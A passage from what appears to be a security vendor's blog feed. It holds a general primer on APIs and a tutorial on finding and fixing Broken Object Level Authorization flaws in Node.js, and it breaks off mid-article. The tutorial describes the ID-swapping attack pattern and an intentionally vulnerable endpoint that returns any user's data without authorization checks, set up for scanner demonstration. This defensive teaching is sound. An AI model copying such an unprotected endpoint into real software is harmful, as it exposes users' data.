URLs we use in the browser, since the data you receive back in your browser can also come from an API.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Data Flows Through APIs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;For example, if you’re using any one of several web applications to check the weather or order some food, the app sends a request to the service’s API endpoint. This endpoint knows how to fetch the data for your specific query, and often provides additional context or references for you to get more contextual information. Then, it sends this data back to the app, which displays the information to you. Endpoints ensure that requests for data or actions reach the exact location in the system that can handle them, making the interaction between different services seamless and efficient.&lt;/p&gt;&lt;p&gt;APIs extend beyond the internet, existing in your computers, smart medical devices, and even in your Bluetooth-connected toothbrush. They interact with various data structures and software components in unexpected ways, and often, these systems lack a Graphical User Interface (GUI). APIs are remarkably widespread and versatile.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Key Concepts of APIs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Web APIs use a specific set of concepts to define how different applications communicate, similar to how we use text messages to send messages back and forth. This conversation between apps occurs through a simple yet effective process called a client-server model, which can be broken down as follows:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Client&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Imagine this as one app that initiates the conversation, similar to how you might text a friend to ask a question. The API client is an app that makes a request when it needs something. For instance, when you use a weather app on your phone (the client) to check the forecast, you&amp;#39;re essentially asking it to find and display the latest weather information.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Server&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;On the other side of this conversation is the server, like the friend who receives your text and responds. The server is another application that waits for requests. When it receives one, like the weather app on your phone asking for the latest forecast, it knows how to fetch that information or perform the needed action. Once it has the information, the server sends it back to the client app, which presents the results to you.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Language&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A common language is necessary for these digital interactions across the client-server architecture to be effective. Web APIs utilize HTTP, the standard web protocol that facilitates these exchanges. Think of HTTP as the grammar rules ensuring apps communicate effectively, irrespective of its origin.&lt;/p&gt;&lt;p&gt;HTTP headers specify the message&amp;#39;s format, commonly in JSON (JavaScript Object Notation) or XML (Extensible Markup Language) sent to the web API, and how responses should be formatted. With its user-friendly and concise structure, JSON is ideal for straightforward data sharing. In contrast, XML offers a more detailed, hierarchical approach suitable for complex data exchanges.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;RESTful APIs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The REST approach to APIs,&lt;a href=&quot;https://ics.uci.edu/~fielding/pubs/dissertation/fielding_dissertation.pdf&quot;&gt; &lt;u&gt;first proposed by Roy Fielding in his doctoral dissertation&lt;/u&gt;&lt;/a&gt;, has become a popular framework for organizing services. Although other models like SOAP and gRPC are available, REST is prevalent in web APIs and often serves as the initial entry point for many beginners.&lt;/p&gt;&lt;p&gt;REST APIs, to be considered RESTful, must follow several key principles, simplified as follows:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Use a client-server model;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Adopt &amp;quot;stateless&amp;quot; communication, where each HTTP request is independent;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Utilize standard HTTP methods like GET, POST, PUT, DELETE, etc., to interact with resources.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Allow caching for data performance; and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Provides hypermedia, facilitating client-server decoupling and enabling iterative, independent development.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Each REST API request is self-contained, carrying all information necessary for completion without depending on prior requests.&lt;/p&gt;&lt;p&gt;REST APIs are versatile, interacting with multiple data formats, including JSON, XML, and more:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Plain Text&lt;/b&gt;: Simple and direct, perfect for basic messaging.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;HTML&lt;/b&gt;: The foundation of web pages, enabling rich text formatting.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;YAML&lt;/b&gt;: A human-friendly data format ideal for configuration files.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The flexibility of REST APIs empowers developers to select the most fitting communication method, enhancing app interaction efficiency.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why Are APIs Important?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;If you’re working with any modern software or building it, APIs are likely a crucial piece of application functionality. They connect various internal systems, such as linking customer service platforms with marketing tools or integrating project management applications with time-tracking services, to improve collaboration. Everything from executing complex application logic to simple CRUD (Create, Read, Update, and Delete) operations, most applications can’t function without some sort of API usage.&lt;/p&gt;&lt;p&gt;Beyond internal use, APIs allow companies to expand their offerings by integrating with external partners&amp;#39; web services, enhancing their products with new features or data for an improved customer experience.&lt;/p&gt;&lt;p&gt;While APIs come in many forms, including those that operate systems and devices, web APIs are particularly vital to the tech ecosystem. They enable the creation of diverse online systems, from weather updates and online shopping to bill payments, underpinning nearly all online activities.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Types of APIs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Depending on who will use an API or have access to it, there are some sub-types that APIs can fall into.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;By Audience and Access Level&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;APIs can be broadly categorized based on who can access them and how they&amp;#39;re used based on the following categories:&lt;/p&gt;&lt;p&gt;&lt;b&gt;Private APIs &lt;/b&gt;are the backbone of internal operations within companies, safeguarding sensitive data while ensuring seamless inter-departmental communication.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Partner APIs&lt;/b&gt; open doors to strategic business-to-business (B2B) collaborations, offering a secure yet flexible way for companies to integrate and leverage each other&amp;#39;s resources and capabilities.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Public APIs&lt;/b&gt; democratize company services access, inviting external developers to innovate and develop applications that enhance or complement the original platform. This broad access can amplify a company&amp;#39;s influence and potentially unlock new revenue streams.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;By Use Case&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;On top of the categories above, there are also some other descriptors for APIs to be aware of and what they mean. These include the following:&lt;/p&gt;&lt;p&gt;&lt;b&gt;Open APIs&lt;/b&gt; stand out for their unrestricted access, fueling innovation across the digital ecosystem by enabling developers worldwide to create and expand upon existing platforms.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Internal APIs,&lt;/b&gt; synonymous with private APIs, optimize organizational efficiency by facilitating the smooth flow of information and functionalities within a company.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Composite APIs&lt;/b&gt; efficiently bundle multiple API requests into one, minimizing the number of calls made and accelerating processes that depend on data from numerous sources. Composite APIs are especially useful for streamlining client and web server interactions, reducing the number of round-trip calls needed to perform related operations.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Advantages of APIs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs are incredibly powerful, but they&amp;#39;re also quite malleable. While RESTful APIs are the most common APIs in the web space for end users, the web is actually filled with many different kinds of APIs that provide unique advantages for specific use cases:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;REST (Representational State Transfer)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;RESTful APIs utilize HTTP methods in a flexible, stateless model, ideal for building scalable web services. They adhere to RESTful architectural constraints, simplifying communication over the web and allowing for individual development outside of strict confines.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;SOAP (Simple Object Access Protocol)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;SOAP APIs prioritize security and standardized protocols, employing XML to ensure robust data exchange across diverse platforms. This makes them a preferred choice for enterprise-level applications, especially legacy ones. The ability to control this exchange and audit over time makes it popular for banking and other regulated industries.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;GraphQL&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Revolutionizes data retrieval by allowing clients to specify precisely what information they need using a graph query language, significantly reducing inefficiencies associated with data over-fetching or under-fetching.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;gRPC&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Google RPC, or Remote Procedure Call, APIs&lt;b&gt; &lt;/b&gt;focus on high-efficiency communication, which is particularly beneficial in microservices architectures by enabling quick and compact binary data exchange.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;WebSocket&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;WebSocket APIs provide a continuous connection for real-time interactions, enhancing experiences in applications that demand instant updates, like messaging apps or online gaming.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Webhooks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;These&lt;b&gt; &lt;/b&gt;APIs provide another method to access server data, offering a mechanism for apps to automatically notify each other about events. This enables responsive and synchronous workflows across different services, helping remote APIs connect software systems that may not have a live user directly on the other end requesting the exact data as specified.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Common Use Cases&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs are integral to applications in diverse fields like mapping, weather forecasting, and social media, enhancing our daily digital interactions. They allow mapping apps to display maps and traffic updates, and travel sites to access real-time hotel and flight data. This concept, part of the API economy, involves initially offering free APIs and later monetizing them. API marketplaces further this economy by enabling developers to buy and sell APIs, fostering new business partnerships and innovative services.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s take a quick look at some common APIs that are used extensively on the web and in mobile applications.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Google Maps API&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The Google Maps API is a perfect example of an API that enhances application functionality. It allows developers to incorporate customized maps into websites or applications using Google’s geographic data, enabling features like real-time traffic updates, street view, and detailed location information.&lt;/p&gt;&lt;p&gt;Industries such as travel and delivery services utilize the Google Maps API to enhance their services. Google Maps API can help with:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Itinerary creation for travelers&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Display routes for deliveries&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Offer real-time map updates for the most current map data.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These features make the Google Maps API a valuable tool for businesses in these industries.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;WeatherAPI&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The WeatherAPI is another example of how APIs provide real-time data in applications. It provides real-time weather data that can be used in websites and applications to display current conditions and weather forecasts. This information can be crucial in various contexts, from planning a picnic to scheduling a flight.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Social Media APIs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Social media giants like Facebook and Twitter provide APIs that let third-party apps seamlessly integrate their services, offering features such as single sign-on with social media credentials, which simplifies user experience by streamlining logins and reducing password overload.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Trends and Looking to the Future&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As APIs evolve to match modern users&amp;#39; changing needs, emerging trends are becoming important for both users and service providers to consider.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Authentication and Authorization Focus&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;With increasing threats to the internet and World Wide Web, security has become a crucial concern.&lt;/p&gt;&lt;p&gt;Securing an API involves establishing strong authentication methods right from the start. This typically includes utilizing an API key and deploying authentication tokens, which are crucial in ensuring secure and legitimate communication. An API key acts as a unique password for applications, enabling them to authenticate their identity with each request they make. This key, generally obtained and managed via the API provider’s developer portal, is a fundamental access control layer by granting permissions based on predefined rules.&lt;/p&gt;&lt;p&gt;Authentication tokens take security a step further. They validate access requests and manage user sessions or specific privileges. These tokens are generated following a successful login, offering a more dynamic and secure approach by detailing more granular permissions aligned with the user&amp;#39;s role. This method significantly boosts security by facilitating temporary and revocable access, ensuring each session is secure and specific to the user’s access rights.&lt;/p&gt;&lt;p&gt;API endpoints act as critical gatekeepers within this security infrastructure, controlling access to the API’s underlying functionalities and data. Endpoints are essential in protecting the API from unauthorized entry by ensuring that only authorized users or applications can access sensitive information or perform specific actions.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;Fine-Grained Access Control&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Many providers have shifted from a top-down security approach to one that is significantly more granular, allowing for greater flexibility while improving overall security outcomes. Effective access control is foundational to API security and involves:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Establishing user roles and permissions, determining what data and functionality are accessible to different users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implementing detailed access rules using standards like OAuth 2.0, OpenID Connect, and JSON Web Tokens (JWT). These protocols offer secure, token-based authentication mechanisms, enabling web APIs to grant access based on verifiable credentials.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In contrast to API keys, which have a broad and static scope, tokens offer a dynamic and revocable means of access control. Their temporary nature and specific scope make them more secure, minimizing potential data exposure risks.&lt;/p&gt;&lt;p&gt;By adopting these strategies—using API keys and tokens for authentication, implementing API Gateways for centralized management, and applying granular access control—developers can greatly enhance the security and integrity of their APIs, safeguarding both their data and users.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Enhanced Integration and Collaboration&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API integration, vital to contemporary software development, facilitates seamless system interaction and data exchange. In a landscape where APIs must interoperate extensively, developers face unique challenges.&lt;/p&gt;&lt;p&gt;Maintaining up-to-date API integration requires careful management of API versions, secure authentication processes, proficient error handling, and scalability planning. Automated testing and monitoring tools are critical for sustaining API performance and reliability. Compliance with provider-imposed rate limits is essential to prevent disruptions and maintain dependable user services.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Better Documentation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The increased emphasis on documentation reflects that simply having a great API isn&amp;#39;t sufficient; modern web APIs must be accompanied by detailed documentation, which includes references, tutorials, and guides on functions, classes, and usage, to effectively serve developers. Best documentation practices involve following API design standards and employing tools like OpenAPI for specifications. Tools such as Swagger and Postman facilitate creating various documentation types, from static to interactive. Industry leaders like Stripe and Twilio, known for their comprehensive and accessible API documentation, set valuable benchmarks to emulate.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Leveraging API Libraries and SDKs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API libraries and SDKs are crucial for simplifying API development and integration, offering tools and frameworks that streamline the process. From Apple’s iOS SDKs for mobile app development to Microsoft&amp;#39;s .NET SDK for enterprise applications, these resources allow developers to easily incorporate API functionalities into their projects.&lt;/p&gt;&lt;p&gt;The key to effective API integration lies in utilizing these tools, maintaining clear documentation, and leveraging libraries and SDKs to ease development. This approach ensures smooth and efficient API integration, whether integrating with another API or enhancing the accessibility of your own.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;More API Testing - and More API Testing Tools&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The complexity of modern API architectures, which enable extensive data connections and retrieval, has emphasized the need for enhanced API testing. This necessity is highlighted by the &amp;quot;shift security left&amp;quot; approach, advocating for improved security measures early in the development process through robust API management tools. Consequently, security has transitioned from a desirable add-on to a critical component of development.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs are indispensable in crafting the interconnected digital experiences we&amp;#39;ve come to expect. Their role in modern software development extends from simplifying complex interactions between systems to enabling instantaneous data sharing and enhancing user engagement across platforms. As digital solutions evolve, the strategic implementation of APIs will remain a key driver in developing innovative, efficient, and user-centric applications. Remember, each time you enjoy a frictionless digital service, multiple APIs are likely working tirelessly behind the scenes.&lt;/p&gt;&lt;p&gt;If you’re building and working with APIs, StackHawk can help you to boost your API&amp;#39;s security before it reaches your customers.&lt;/p&gt;&lt;p&gt;StackHawk&amp;#39;s API Security Platform helps organizations discover unknown APIs with API Discovery, and bring them under test to maintain a continuously secure approach with Dynamic Application Security Testing (DAST). By bridging the gap between developers and AppSec teams, StackHawk offers the best way for developers to test their APIs as they build them, uncovering potential security issues, and offering actionable solutions to fix,  while giving AppSec teams the insights into unknown APIs, frequency of commits, and oversight into their security program. &lt;/p&gt;&lt;p&gt;Interested in improving your API&amp;#39;s security from the get-go? Sign up today for a &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;free trial&lt;/u&gt;&lt;/a&gt; and begin your API build journey with security in mind.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Finding and Fixing BOLA Vulnerabilities in NodeJS With StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/finding-and-fixing-bola-vulnerabilities-in-nodejs-with-stackhawk</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;For developers striving to build secure APIs, Insecure Direct Object References (IDOR) stand out as a critical vulnerability to look for. As outlined in the OWASP API Security Top 10, this vulnerability can lead to unauthorized access and manipulation of data, leading to disastrous consequences. Broken Object Level Authorization (BOLA) vulnerabilities arise when applications fail to enforce adequate authorization checks for accessing objects or resources. This flaw enables attackers to exploit user-supplied inputs, like URL parameters, to access or manipulate objects they shouldn&amp;#39;t, such as files or database records. Without proper authorization validation, attackers can bypass restrictions, potentially leading to unauthorized data access and system breaches.&lt;/p&gt;&lt;p&gt;In this blog, we will examine the details surrounding BOLA, including what it is, the root causes of BOLA vulnerabilities, and how to identify BOLA vulnerabilities in your API code. We will then use StackHawk to scan a vulnerable Node application and detect a BOLA vulnerability in one of the endpoints. Lastly, we will show the steps required to fix the vulnerability and retest the code to ensure it has been resolved. Let’s start by taking a deeper look at what BOLA is.&lt;/p&gt;&lt;h2&gt;What is Broken Object Level Authorization (BOLA)?&lt;/h2&gt;&lt;p&gt;Broken Object Level Authorization (BOLA), previously known as Insecure Direct Object Reference (IDOR), remains a top threat to API security. This vulnerability emerges when an API lacks rigorous controls, preventing users from accessing resources or data outside their intended permissions.&lt;/p&gt;&lt;p&gt;Object-level authorization defines an application&amp;#39;s rules for what actions users can take on specific pieces of data. A healthcare app, for example, should limit patient access to only their medical records. BOLA vulnerabilities arise when these controls are inadequate or absent. This might include an API using easily guessable object identifiers (think customer IDs) or not verifying if a user&amp;#39;s request aligns with their actual permissions.&lt;/p&gt;&lt;p&gt;BOLA attacks tend to follow a simple pattern. The attacker first studies API traffic to identify how objects are referenced (e.g.,&lt;b&gt; /users/{userID} &lt;/b&gt;or&lt;b&gt; /orders/{orderID}&lt;/b&gt;).  They&amp;#39;ll then try to modify these identifiers, hoping to reach data belonging to unauthorized users. An attacker could view, change, or even delete sensitive information if authorization checks are weak. In severe cases, complete and unauthorized control over objects might be possible.&lt;/p&gt;&lt;p&gt;BOLA&amp;#39;s prevalence and danger come from its ease of exploit (attackers don&amp;#39;t always need deep technical knowledge) and the difficulty traditional security scanners have identifying these flaws. The fallout of a successful BOLA attack can include privacy violations, compromised accounts, financial theft, or even disruption of API-controlled systems.&lt;/p&gt;&lt;h2&gt;What is The Difference Between BOLA and Insecure Direct Object Reference (IDOR)?&lt;/h2&gt;&lt;p&gt;You may come across both &amp;quot;BOLA&amp;quot; and &amp;quot;IDOR&amp;quot;  when discussing this type of API vulnerability. While there&amp;#39;s a lot of overlap between the terms,  understanding their subtle distinction is important. Insecure Direct Object Reference (IDOR) is the older phrasing, highlighting situations where an API reveals internal object references or identifiers that are easy for an attacker to manipulate.  Imagine a URL structure like &lt;b&gt;/api/customers/{customerID};&lt;/b&gt; an attacker could try substituting different customerIDs to access data they shouldn&amp;#39;t.&lt;/p&gt;&lt;p&gt;The shift to the term Broken Object Level Authorization (BOLA) reflects a broader understanding of the problem. The core issue isn&amp;#39;t solely about the type of reference used but rather a breakdown in authorization logic. This could mean the API relies on predictable object identifiers or fails to thoroughly check if the user making a request has legitimate ownership or permissions to interact with the object in question.&lt;/p&gt;&lt;p&gt;To recap, IDOR vulnerabilities all fall under the umbrella of BOLA. However, not every BOLA vulnerability necessarily involves a directly exposed, easily manipulated object reference. The fundamental problem always centers around the API incorrectly implementing object-level authorization checks.&lt;/p&gt;&lt;h2&gt;What is The Root Cause of BOLA?&lt;/h2&gt;&lt;p&gt;BOLA vulnerabilities arise from development practices prioritizing ease of use over building strong authorization into the API&amp;#39;s logic.  Here&amp;#39;s a breakdown of the main reasons this happens:&lt;/p&gt;&lt;h3&gt;Over-reliance on Object Identifiers&lt;/h3&gt;&lt;p&gt;When APIs directly reference objects using easily guessed patterns (sequential numbers, predictable text, etc.), it&amp;#39;s an open invitation for attackers. A URL like &lt;b&gt;/api/documents/{documentID}&lt;/b&gt; makes it tempting for attackers to try different &lt;b&gt;documentID&lt;/b&gt;s and potentially find things they shouldn&amp;#39;t.&lt;/p&gt;&lt;h3&gt;Lack of Ownership and Permission Verification&lt;/h3&gt;&lt;p&gt;APIs must consistently check that the user making the request &lt;i&gt;owns&lt;/i&gt; the object they&amp;#39;re targeting or has the right permissions to work with it. This can&amp;#39;t be a one-time check; it needs to be done with each request.&lt;/p&gt;&lt;h3&gt;Blind Trust in User Input&lt;/h3&gt;&lt;p&gt;Anything sent to the API by a user, including object identifiers, must be treated with caution. Thorough input validation is also necessary to prevent attackers from sneaking in values designed to break API logic.&lt;/p&gt;&lt;h3&gt;Insufficient Focus on Authorization&lt;/h3&gt;&lt;p&gt;Development pressure can lead to inconsistent or overlooked authorization for some API actions. Strong authorization must be baked into the design.&lt;/p&gt;&lt;h3&gt;The Fallacy of Obscurity&lt;/h3&gt;&lt;p&gt;Using hard-to-guess identifiers ( like long UUIDs ) can create a false sense of security. Attackers are resourceful; if the only protection is a &amp;#39;tricky&amp;#39; identifier, they&amp;#39;ll likely find a way around it.&lt;/p&gt;&lt;p&gt;Ultimately, BOLA comes down to not building strong, object-level authorization checks directly into the API&amp;#39;s code.  Convenience and &amp;#39;hiding&amp;#39; things can never replace a well-designed authorization system.&lt;/p&gt;&lt;h2&gt;Preventing Broken Object Level Authorization (BOLA) Vulnerabilities&lt;/h2&gt;&lt;p&gt;Since BOLA vulnerabilities happen when an application doesn&amp;#39;t have strong enough checks before allowing access to objects. To combat this, you need a thorough approach to building and maintaining your APIs, emphasizing secure design, robust authorization, and constant vigilance. Here are a few ways to effectively reduce your BOLA risk:&lt;/p&gt;&lt;p&gt;&lt;b&gt;Core Practices&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enforce Strong Authorization Checks:&lt;/b&gt; Every time a user tries to do something, verify they have the right permissions. This has to be baked into the heart of your APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Consider Attribute-Based Access Control (ABAC):&lt;/b&gt; While role-based systems (RBAC) work well in many cases, ABAC lets you be more specific. ABAC policies can consider the user, the target object, and the action – ideal for complex applications with many moving parts.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use Scoped Access Tokens:&lt;/b&gt; If you use tokens (like OAuth or JWTs), limit what those tokens can access, such as permission to only perform specific CRUD operations. This lessens the impact if a token is stolen or misused.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Proactive Measures&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regular Security Audits and Penetration Testing:&lt;/b&gt; Use outside experts to thoroughly test your application and platforms like StackHawk, which can actively test for vulnerabilities like BOLA. Using these teams and tools may find BOLA vulnerabilities your internal teams missed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Educate Developers:&lt;/b&gt; Teach your development team how to code with security in mind and how to spot common vulnerabilities like BOLA.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use Secure Frameworks and Libraries:&lt;/b&gt; Tools that &lt;i&gt;encourage&lt;/i&gt; secure practices and include pre-built authorization features can save time and reduce errors.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Adopt a Zero Trust Mindset:&lt;/b&gt; Never assume a request is safe, even if it seems to be from a legitimate user inside your network. Verify the authorization of &lt;i&gt;every&lt;/i&gt; request.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By following these guidelines, you&amp;#39;ll significantly reduce your application&amp;#39;s risk of BOLA vulnerabilities, ensuring users can only access what they&amp;#39;re supposed to. Now, let’s put this into practice by looking at a vulnerable NodeJS application and use StackHawk to identify the BOLA vulnerability and help us verify that the fix we will implement successfully remediates the issue.&lt;/p&gt;&lt;h2&gt;Detecting and Fixing BOLA Vulnerabilities in NodeJS&lt;/h2&gt;&lt;h3&gt;Building The Vulnerable Endpoint&lt;/h3&gt;&lt;p&gt;Below is an example of a simple Node.js API with a BOLA vulnerability. This API allows users to access user data based on a user ID passed in the URL. However, it doesn&amp;#39;t perform any checks to ensure that the user making the request can access or modify the data for that user ID. This demonstrates a BOLA vulnerability in its most simple form.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;Please note: This is an intentionally vulnerable API for demonstration purposes. Do not use this code in a real application as it is not production-ready.&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;To run this app, first, ensure you have Node.js installed. Then, create a new directory for your project, ours is named “bola-api-example”, and initialize the directory by running&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;npm init&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;You&amp;#39;ll also need to install Express, a popular web framework for Node.js, as well as a few other dependencies we will use in the project. You’ll do this by running the following npm command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;npm install express body-parser sqlite3 express-oas-generator jsonwebtoken&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;Note: The jsonwebtoken dependency will be used later, but we will install it now for ease.&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Now, in the root of the project we just created, create a file named &lt;b&gt;app.js&lt;/b&gt; and add the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Let’s run through a quick breakdown of the code above that shows how to create a simple web server using Node.js, Express.js, SQLite3, and automated OpenAPI documentation creation with &lt;code&gt;&lt;b&gt;express-oas-generator&lt;/b&gt;&lt;/code&gt;. The code provides a REST API for accessing user information stored in an SQLite database, all running in memory for simplicity and demonstration purposes. Here&amp;#39;s a breakdown of the key components and actions within the code:&lt;/p&gt;&lt;p&gt;At the beginning (&lt;code&gt;&lt;b&gt;const app = express();&lt;/b&gt;&lt;/code&gt;), an Express application is initialized, which serves as the backbone for creating API endpoints. Then, we create the configuration for OpenAPI Documentation with &lt;code&gt;&lt;b&gt;express-oas-generator&lt;/b&gt;&lt;/code&gt;. The &lt;code&gt;&lt;b&gt;expressOasGenerator.init(app, ...);&lt;/b&gt;&lt;/code&gt; section initializes the automatic generation of OpenAPI documentation for the Express app. This documentation is dynamically adjusted based on the defined API paths. In this case, we also explicitly modify the API documentation to detail the parameters expected by the &lt;b&gt;/users/{id}&lt;/b&gt; endpoint.&lt;/p&gt;&lt;p&gt;Next, we configure the Express app to use body-parser middleware, allowing the app to parse JSON request bodies. This is essential for endpoints that accept data (e.g., POST requests), although we don’t directly use it in the code since we only have a GET endpoint defined.&lt;/p&gt;&lt;p&gt;After this, The code sets up an SQLite database in memory (&lt;code&gt;&lt;b&gt;const db = new sqlite3.Database(&amp;#39;:memory:&amp;#39;);&lt;/b&gt;&lt;/code&gt;). This in-memory database is temporary and ideal for demonstration, as it doesn&amp;#39;t require us to connect to an external database engine. Within &lt;code&gt;&lt;b&gt;db.serialize(...)&lt;/b&gt;&lt;/code&gt;, a table named &lt;b&gt;users&lt;/b&gt; is created, and three example user records are inserted into this table. This sets up the initial data state with which the API will interact.&lt;/p&gt;&lt;p&gt;Then we define the API Endpoint to Fetch User Data. The route &lt;code&gt;&lt;b&gt;app.get(&amp;#39;/users/:id&amp;#39;, ...)&lt;/b&gt;&lt;/code&gt; defines an API endpoint that allows clients to fetch user data by ID using a parameterized SQL query to prevent SQL injection. &lt;/p&gt;&lt;p&gt;Finally, we initialize the application, which listens to incoming requests on a specified port &lt;code&gt;(&lt;/code&gt;&lt;code&gt;&lt;b&gt;const PORT = 4000;&lt;/b&gt;&lt;/code&gt;&lt;code&gt;)&lt;/code&gt;. This makes the API accessible to clients, and a console log message confirms the server&amp;#39;s successful launch.&lt;/p&gt;&lt;h3&gt;Running The Code&lt;/h3&gt;&lt;p&gt;Now that our code is complete, it’s time to run the application and bring up our API. To run your API, run the following command in a terminal pointed to the root of your project:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;node app.js&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Once the application is up and running, you’ll notice that the &lt;b&gt;GET /user/:id&lt;/b&gt; endpoint allows anyone to retrieve user data by simply specifying a user ID in the URL.No authentication or authorization checks are performed, meaning any user can access or modify any other user&amp;#39;s data. This is a classic example of BOLA vulnerability.&lt;/p&gt;&lt;h3&gt;Detecting The Vulnerability With StackHawk and HawkScan&lt;/h3&gt;&lt;p&gt;Now that our code is set up and our API is running, let’s get StackHawk to identify this vulnerability for us automatically. To do this, you’ll need to ensure you have a StackHawk account. If you need one, you can &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;sign up for a trial account&lt;/a&gt; or &lt;a 